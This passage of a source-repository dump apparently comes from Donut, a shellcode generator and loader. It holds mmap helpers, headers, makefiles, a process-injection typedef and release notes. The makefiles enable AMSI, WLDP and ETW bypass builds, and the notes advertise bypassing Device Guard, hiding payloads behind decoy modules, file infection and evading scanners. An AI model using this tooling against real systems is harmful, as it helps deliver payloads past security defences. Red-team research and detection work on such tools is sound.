UnmapViewOfFile(addr); 70 | } 71 | 72 | #undef DWORD_HI 73 | #undef DWORD_LO 74 | -------------------------------------------------------------------------------- /loader/encode/mmap-windows.c: -------------------------------------------------------------------------------- 1 | /* mmap() replacement for Windows 2 | * 3 | * Author: Mike Frysinger 4 | * Placed into the public domain 5 | */ 6 | 7 | /* References: 8 | * CreateFileMapping: http://msdn.microsoft.com/en-us/library/aa366537(VS.85).aspx 9 | * CloseHandle: http://msdn.microsoft.com/en-us/library/ms724211(VS.85).aspx 10 | * MapViewOfFile: http://msdn.microsoft.com/en-us/library/aa366761(VS.85).aspx 11 | * UnmapViewOfFile: http://msdn.microsoft.com/en-us/library/aa366882(VS.85).aspx 12 | */ 13 | 14 | #include "mmap.h" 15 | 16 | void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset) 17 | { 18 | if (prot & ~(PROT_READ | PROT_WRITE | PROT_EXEC)) 19 | return MAP_FAILED; 20 | if (fd == -1) { 21 | if (!(flags & MAP_ANON) || offset) 22 | return MAP_FAILED; 23 | } else if (flags & MAP_ANON) 24 | return MAP_FAILED; 25 | 26 | DWORD flProtect; 27 | if (prot & PROT_WRITE) { 28 | if (prot & PROT_EXEC) 29 | flProtect = PAGE_EXECUTE_READWRITE; 30 | else 31 | flProtect = PAGE_READWRITE; 32 | } else if (prot & PROT_EXEC) { 33 | if (prot & PROT_READ) 34 | flProtect = PAGE_EXECUTE_READ; 35 | else if (prot & PROT_EXEC) 36 | flProtect = PAGE_EXECUTE; 37 | } else 38 | flProtect = PAGE_READONLY; 39 | 40 | off_t end = length + offset; 41 | HANDLE mmap_fd, h; 42 | if (fd == -1) 43 | mmap_fd = INVALID_HANDLE_VALUE; 44 | else 45 | mmap_fd = (HANDLE)_get_osfhandle(fd); 46 | h = CreateFileMapping(mmap_fd, NULL, flProtect, DWORD_HI(end), DWORD_LO(end), NULL); 47 | if (h == NULL) 48 | return MAP_FAILED; 49 | 50 | DWORD dwDesiredAccess; 51 | if (prot & PROT_WRITE) 52 | dwDesiredAccess = FILE_MAP_WRITE; 53 | else 54 | dwDesiredAccess = FILE_MAP_READ; 55 | if (prot & PROT_EXEC) 56 | dwDesiredAccess |= FILE_MAP_EXECUTE; 57 | if (flags & MAP_PRIVATE) 58 | dwDesiredAccess |= FILE_MAP_COPY; 59 | void *ret = MapViewOfFile(h, dwDesiredAccess, DWORD_HI(offset), DWORD_LO(offset), length); 60 | if (ret == NULL) { 61 | ret = MAP_FAILED; 62 | } 63 | CloseHandle(h); 64 | return ret; 65 | } 66 | 67 | void munmap(void *addr, size_t length) 68 | { 69 | UnmapViewOfFile(addr); 70 | } 71 | 72 | #undef DWORD_HI 73 | #undef DWORD_LO 74 | -------------------------------------------------------------------------------- /loader/exe2h/mmap-windows.c: -------------------------------------------------------------------------------- 1 | /* mmap() replacement for Windows 2 | * 3 | * Author: Mike Frysinger 4 | * Placed into the public domain 5 | */ 6 | 7 | /* References: 8 | * CreateFileMapping: http://msdn.microsoft.com/en-us/library/aa366537(VS.85).aspx 9 | * CloseHandle: http://msdn.microsoft.com/en-us/library/ms724211(VS.85).aspx 10 | * MapViewOfFile: http://msdn.microsoft.com/en-us/library/aa366761(VS.85).aspx 11 | * UnmapViewOfFile: http://msdn.microsoft.com/en-us/library/aa366882(VS.85).aspx 12 | */ 13 | 14 | #include "mmap.h" 15 | 16 | void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset) 17 | { 18 | if (prot & ~(PROT_READ | PROT_WRITE | PROT_EXEC)) 19 | return MAP_FAILED; 20 | if (fd == -1) { 21 | if (!(flags & MAP_ANON) || offset) 22 | return MAP_FAILED; 23 | } else if (flags & MAP_ANON) 24 | return MAP_FAILED; 25 | 26 | DWORD flProtect; 27 | if (prot & PROT_WRITE) { 28 | if (prot & PROT_EXEC) 29 | flProtect = PAGE_EXECUTE_READWRITE; 30 | else 31 | flProtect = PAGE_READWRITE; 32 | } else if (prot & PROT_EXEC) { 33 | if (prot & PROT_READ) 34 | flProtect = PAGE_EXECUTE_READ; 35 | else if (prot & PROT_EXEC) 36 | flProtect = PAGE_EXECUTE; 37 | } else 38 | flProtect = PAGE_READONLY; 39 | 40 | off_t end = length + offset; 41 | HANDLE mmap_fd, h; 42 | if (fd == -1) 43 | mmap_fd = INVALID_HANDLE_VALUE; 44 | else 45 | mmap_fd = (HANDLE)_get_osfhandle(fd); 46 | h = CreateFileMapping(mmap_fd, NULL, flProtect, DWORD_HI(end), DWORD_LO(end), NULL); 47 | if (h == NULL) 48 | return MAP_FAILED; 49 | 50 | DWORD dwDesiredAccess; 51 | if (prot & PROT_WRITE) 52 | dwDesiredAccess = FILE_MAP_WRITE; 53 | else 54 | dwDesiredAccess = FILE_MAP_READ; 55 | if (prot & PROT_EXEC) 56 | dwDesiredAccess |= FILE_MAP_EXECUTE; 57 | if (flags & MAP_PRIVATE) 58 | dwDesiredAccess |= FILE_MAP_COPY; 59 | void *ret = MapViewOfFile(h, dwDesiredAccess, DWORD_HI(offset), DWORD_LO(offset), length); 60 | if (ret == NULL) { 61 | ret = MAP_FAILED; 62 | } 63 | CloseHandle(h); 64 | return ret; 65 | } 66 | 67 | void munmap(void *addr, size_t length) 68 | { 69 | UnmapViewOfFile(addr); 70 | } 71 | 72 | #undef DWORD_HI 73 | #undef DWORD_LO 74 | -------------------------------------------------------------------------------- /DemoCreateProcess/DemoCreateProcess.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | Debug 4 | AnyCPU 5 | {75C4A31E-6E99-4289-8701-EF0B6CD94435} 6 | Library 7 | false 8 | DemoCreateProcess 9 | v4.0 10 | 512 11 | 12 | 13 | true 14 | full 15 | false 16 | bin\Debug\ 17 | DEBUG;TRACE 18 | prompt 19 | 4 20 | 21 | 22 | pdbonly 23 | true 24 | bin\Release\ 25 | TRACE 26 | prompt 27 | 4 28 | 29 | 30 | DemoCreateProcess 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /include/format.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef FORMAT_H 33 | #define FORMAT_H 34 | 35 | #include "donut.h" 36 | 37 | #ifdef __cplusplus 38 | extern "C" { 39 | #endif 40 | 41 | int base64_template(void *pic, uint32_t pic_len, FILE *fd); 42 | int c_ruby_template(void *pic, uint32_t pic_len, FILE *fd); 43 | int py_template(void *pic, uint32_t pic_len, FILE* fd); 44 | int powershell_template(void *pic, uint32_t pic_len, FILE *fd); 45 | int csharp_template(void *pic, uint32_t pic_len, FILE *fd); 46 | int hex_template(void *pic, uint32_t pic_len, FILE *fd); 47 | int uuid_template(void *pic, uint32_t pic_len, FILE *fd); 48 | 49 | #ifdef __cplusplus 50 | } 51 | #endif 52 | 53 | #endif 54 | 55 | -------------------------------------------------------------------------------- /include/encrypt.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef ENCRYPT_H 33 | #define ENCRYPT_H 34 | 35 | #include 36 | #include 37 | #include 38 | 39 | #ifndef ROTR32 40 | #define ROTR32(v,n)(((v)>>(n))|((v)<<(32-(n)))) 41 | #endif 42 | 43 | // CHASKEY block cipher 44 | // 128-bit block with 128-bit key 45 | #define ENCRYPT chaskey 46 | 47 | #define CIPHER_BLK_LEN (128/8) 48 | #define CIPHER_KEY_LEN (128/8) 49 | 50 | #ifdef __cplusplus 51 | extern "C" { 52 | #endif 53 | 54 | void donut_encrypt(void *mk, void *ctr, void *data, uint32_t len); 55 | 56 | #define donut_decrypt(mk,ctr,data,len) donut_encrypt(mk,ctr,data,len) 57 | 58 | #ifdef __cplusplus 59 | } 60 | #endif 61 | 62 | #endif 63 | -------------------------------------------------------------------------------- /include/hash.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2017 Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef MARU_H 33 | #define MARU_H 34 | 35 | #include 36 | #include 37 | 38 | void *Memset (void *ptr, int value, unsigned int num); 39 | 40 | #define MARU_MAX_STR 64 41 | #define MARU_BLK_LEN 16 42 | #define MARU_HASH_LEN 8 43 | #define MARU_IV_LEN MARU_HASH_LEN 44 | #define MARU_CRYPT speck 45 | 46 | #ifndef ROTR32 47 | #define ROTR32(v,n)(((v)>>(n))|((v)<<(32-(n)))) 48 | #endif 49 | 50 | #ifndef ROTL32 51 | #define ROTL32(v,n)(((v)<<(n))|((v)>>(32-(n)))) 52 | #endif 53 | 54 | #ifdef __cplusplus 55 | extern "C" { 56 | #endif 57 | 58 | uint64_t maru(const void *api, uint64_t iv); 59 | 60 | #ifdef __cplusplus 61 | } 62 | #endif 63 | 64 | #endif 65 | -------------------------------------------------------------------------------- /Makefile.msvc: -------------------------------------------------------------------------------- 1 | donut: clean 2 | @echo ###### Building exe2h ###### 3 | cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c 4 | 5 | @echo ###### Building loader ###### 6 | cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c 7 | link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj 8 | exe2h loader.exe 9 | 10 | @echo ###### Building generator ###### 11 | rc include\donut.rc 12 | cl -Zp8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib include\donut.res 13 | cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib 14 | move donut.lib lib\donut.lib 15 | move donut.exp lib\donut.exp 16 | move donut.dll lib\donut.dll 17 | 18 | @echo ###### Building injection testing tools ###### 19 | cl -Zp8 -nologo -DTEST -I include loader\inject.c 20 | cl -Zp8 -nologo -DTEST -I include loader\inject_local.c 21 | debug: clean 22 | cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c 23 | link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj 24 | 25 | cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib 26 | cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib 27 | move donut.lib lib\donut.lib 28 | move donut.exp lib\donut.exp 29 | move donut.dll lib\donut.dll 30 | 31 | cl -Zp8 -nologo -DTEST -I include loader\inject.c 32 | cl -Zp8 -nologo -DTEST -I include loader\inject_local.c 33 | hash: 34 | cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c 35 | encrypt: 36 | cl -Zp8 -nologo -DTEST -I include encrypt.c 37 | inject: 38 | cl -Zp8 -nologo -DTEST -I include loader\inject.c 39 | inject_local: 40 | cl -Zp8 -nologo -DTEST -I include loader\inject_local.c 41 | clean: 42 | @del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj inject.obj inject_local.obj depack.obj format.obj clib.obj exe2h.exe loader.exe hash.exe encrypt.exe inject.exe inject_local.exe donut.exe lib\donut.lib lib\donut.exp lib\donut.dll include\donut.res 43 | -------------------------------------------------------------------------------- /Makefile_x86.msvc: -------------------------------------------------------------------------------- 1 | donut: clean 2 | @echo ###### Building exe2h ###### 3 | cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c 4 | 5 | @echo ###### Building loader ###### 6 | cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c 7 | link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj 8 | exe2h loader.exe 9 | 10 | @echo ###### Building generator ###### 11 | rc include\donut.rc 12 | cl -Zp8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include\donut.res 13 | cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib 14 | move donut.lib lib\donut.lib 15 | move donut.exp lib\donut.exp 16 | move donut.dll lib\donut.dll 17 | 18 | @echo ###### Building injection testing tools ###### 19 | cl -Zp8 -nologo -DTEST -I include loader\inject.c 20 | cl -Zp8 -nologo -DTEST -I include loader\inject_local.c 21 | debug: clean 22 | cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c 23 | link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj 24 | 25 | cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib 26 | cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib 27 | move donut.lib lib\donut.lib 28 | move donut.exp lib\donut.exp 29 | move donut.dll lib\donut.dll 30 | 31 | cl -Zp8 -nologo -DTEST -I include loader\inject.c 32 | cl -Zp8 -nologo -DTEST -I include loader\inject_local.c 33 | hash: 34 | cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c 35 | encrypt: 36 | cl -Zp8 -nologo -DTEST -I include encrypt.c 37 | inject: 38 | cl -Zp8 -nologo -DTEST -I include loader\inject.c 39 | inject_local: 40 | cl -Zp8 -nologo -DTEST -I include loader\inject_local.c 41 | clean: 42 | @del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj inject.obj inject_local.obj depack.obj format.obj clib.obj exe2h.exe loader.exe hash.exe encrypt.exe inject.exe inject_local.exe donut.exe lib\donut.lib lib\donut.exp lib\donut.dll include\donut.res 43 | -------------------------------------------------------------------------------- /loader/getpc.c: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | // Function to return the program counter. 33 | // Always place this at the end of payload. 34 | // Tested with x86 build of MSVC 2019 and MinGW. YMMV. 35 | #if defined(_MSC_VER) 36 | #if defined(_M_IX86) 37 | __declspec(naked) char *get_pc(void) { 38 | __asm { 39 | call pc_addr 40 | pc_addr: 41 | pop eax 42 | sub eax, 5 43 | ret 44 | } 45 | } 46 | #endif 47 | #elif defined(__GNUC__) 48 | #if defined(__i386__) 49 | asm ( 50 | ".global get_pc\n" 51 | ".global _get_pc\n" 52 | "_get_pc:\n" 53 | "get_pc:\n" 54 | " call pc_addr\n" 55 | "pc_addr:\n" 56 | " pop %eax\n" 57 | " sub $5, %eax\n" 58 | " ret\n" 59 | ); 60 | #endif 61 | #endif 62 | -------------------------------------------------------------------------------- /loader/inject.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #if defined(_WIN32) || defined(_WIN64) 33 | #include 34 | #if defined(_MSC_VER) 35 | #pragma comment(lib, "advapi32.lib") 36 | #pragma comment(lib, "shell32.lib") 37 | #pragma comment(lib, "user32.lib") 38 | #endif 39 | #endif 40 | 41 | #include 42 | #include 43 | 44 | typedef struct _CLIENT_ID { 45 | PVOID UniqueProcess; 46 | PVOID UniqueThread; 47 | } CLIENT_ID, *PCLIENT_ID; 48 | 49 | typedef NTSTATUS (NTAPI *RtlCreateUserThread_t) ( 50 | IN HANDLE ProcessHandle, 51 | IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, 52 | IN BOOLEAN CreateSuspended, 53 | IN ULONG StackZeroBits, 54 | IN OUT PULONG StackReserved, 55 | IN OUT PULONG StackCommit, 56 | IN PVOID StartAddress, 57 | IN PVOID StartParameter OPTIONAL, 58 | OUT PHANDLE ThreadHandle, 59 | OUT PCLIENT_ID ClientID); 60 | -------------------------------------------------------------------------------- /DonutTest/DonutTest.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846} 8 | Exe 9 | DonutTest 10 | DonutTest 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /version-release-notes.txt: -------------------------------------------------------------------------------- 1 | * v0.9.1: 2 | * Dual-Mode shellcode that can run in either x64 for x86 (WOW64) processes. 3 | * Automatic detection of the CLR version required for .NET Assembly payloads. 4 | * AMSI bypassing for version .NET 4.8 that ensure all Assemblies can be safely loaded. 5 | * Modular system for adding bypasses. Your choide of bypass functionality is compiled into payload.exe based on compiler flags. 6 | * Bypass for Device Guard policy preventing execution of dynamically generated .NET code 7 | * Better handling of Main functions (Entry Points) that use an object array containing string arrays, rather than an array of strings 8 | * v1.0: 9 | * Added module overloading for native PE payloads. Hides them in MEM_IMAGE memory backed by a decoy file on disk 10 | * Added an option to block indefinitely after running the payload 11 | * Added Dockerfile to create a docker image for generating donut shellcode 12 | * Added support for binaries without relocation information or with certain edge cases for relocation information 13 | * Added custom GetProcAddress and LoadLibrary replacement functions that will only call those Win32 API calls as fallbacks 14 | * Better documentation for debugging, designing with, and integrating Donut. 15 | * Added moduler bypass system for ETW 16 | * Change the -y parameter to be an offset, relative to the base address of the host process's executable. This supports using donut for file infection (like BackdoorFactory). 17 | * Added option for preserving or overwriting PE headers of native payloads 18 | * When Module Overloading and PE header overwritten are enabled, the payload's headers will be overwritten by those of the decoy module 19 | * Added support for HTTP Basic Authentication with remote modules 20 | * Native PE Section permissions are more accurate 21 | * Fixed some issues with the MingW makefile (#96) 22 | * Fixed and improved all makefiles 23 | * Added an X86 MSVC makefile (Makefile_x86.msvc) for ease of use 24 | * Fixed the Python module 25 | * Added an inject_local.exe that runs shellcode in the current process for testing purposes 26 | * C# output generator 27 | * Python output generator 28 | * UUID string output generator 29 | * NTHeaders->OptionalHeader->ImageBase is now updated correctly 30 | * Sections' PhysicalAddress is now updated correctly 31 | * Much more detailed debugging output 32 | * Better wiping of data in memory to evade scanners 33 | * Improved error handling 34 | * Default AppDomain is now used when entropy is disabled 35 | * Updated reference to go-donut 36 | * Stack pointer is now correctly aligned (Kyle Willmon) 37 | -------------------------------------------------------------------------------- /ModuleMonitor/ModuleMonitor.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {361C69F5-7885-4931-949A-B91EEAB170E3} 8 | Exe 9 | ModuleMonitor 10 | ModuleMonitor 11 | v4.7.2 12 | 512 13 | true 14 | 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | false 26 | 27 | 28 | AnyCPU 29 | pdbonly 30 | true 31 | bin\Release\ 32 | TRACE 33 | prompt 34 | 4 35 | false 36 | 37 | 38 | app.manifest 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /ProcessManager/ProcessManager.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {98CA74C7-A074-434D-9772-75896E73CEAA} 8 | Exe 9 | ProcessManager 10 | ProcessManager 11 | v3.5 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | false 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /examples/dynamic.c: -------------------------------------------------------------------------------- 1 | 2 | // dynamic example (doesn't work with .NET DLL) 3 | // odzhan 4 | 5 | #include "donut.h" 6 | 7 | int main(int argc, char *argv[]) { 8 | DONUT_CONFIG c; 9 | int err; 10 | 11 | // function pointers 12 | DonutCreate_t _DonutCreate; 13 | DonutDelete_t _DonutDelete; 14 | DonutError_t _DonutError; 15 | 16 | // need at least a file 17 | if(argc != 2) { 18 | printf(" [ usage: donut_dynamic \n"); 19 | return 0; 20 | } 21 | 22 | // try load donut.dll or donut.so 23 | #if defined(WINDOWS) 24 | HMODULE m = LoadLibrary("donut.dll"); 25 | if(m != NULL) { 26 | _DonutCreate = (DonutCreate_t)GetProcAddress(m, "DonutCreate"); 27 | _DonutDelete = 